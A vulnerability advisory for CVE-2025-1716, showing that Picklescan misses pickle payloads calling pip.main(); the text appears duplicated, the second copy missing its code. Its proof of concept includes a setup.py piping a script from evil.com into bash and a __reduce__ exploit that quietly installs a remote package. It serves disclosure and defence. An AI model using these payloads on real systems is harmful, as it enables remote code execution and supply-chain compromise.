Summary
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.
Details
Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.
The payload executes the following steps:
- During unpickling, it calls pip.main() to install a malicious PyPI package.
- The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
- Execution is silent, with minimal logging to avoid detection.
PoC
Step 1: Create the Malicious Package
Host a PyPI package with a malicious setup.py or entry_point.
Example malicious setup.py
from setuptools import setup
import os
os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script
setup(
name="rsac-demo-package",
version="0.1",
packages=["rsac_demo"],
install_requires=[],
)
Upload it to PyPI or host on GitHub.
Step 2: Exploit via Pickle
import pickle
import pip
class Exploit:
def __reduce__(self):
return pip.main, (
['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',
'--exists-action', 'i', '--isolated'],
)
malicious_pickle = pickle.dumps(Exploit())
# Simulating deserialization attack
pickle.loads(malicious_pickle)
This installs a malicious package from GitHub or PyPI.
The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.
Impact
Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.
Recommended Fixes
Add "pip": "*" to the list of unsafe globals
References
madgetr Reporter
CVE-2025-1716
Summary
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.
Details
Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.
The payload executes the following steps:
PoC
Step 1: Create the Malicious Package
Host a PyPI package with a malicious setup.py or entry_point.
Example malicious
setup.pyUpload it to PyPI or host on GitHub.
Step 2: Exploit via Pickle
This installs a malicious package from GitHub or PyPI.
The payload runs automatically when unpickled, executing any code inside the installed package leveraging the
setup.pyfile.Impact
Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.
Recommended Fixes
Add
"pip": "*"to the list of unsafe globalsReferences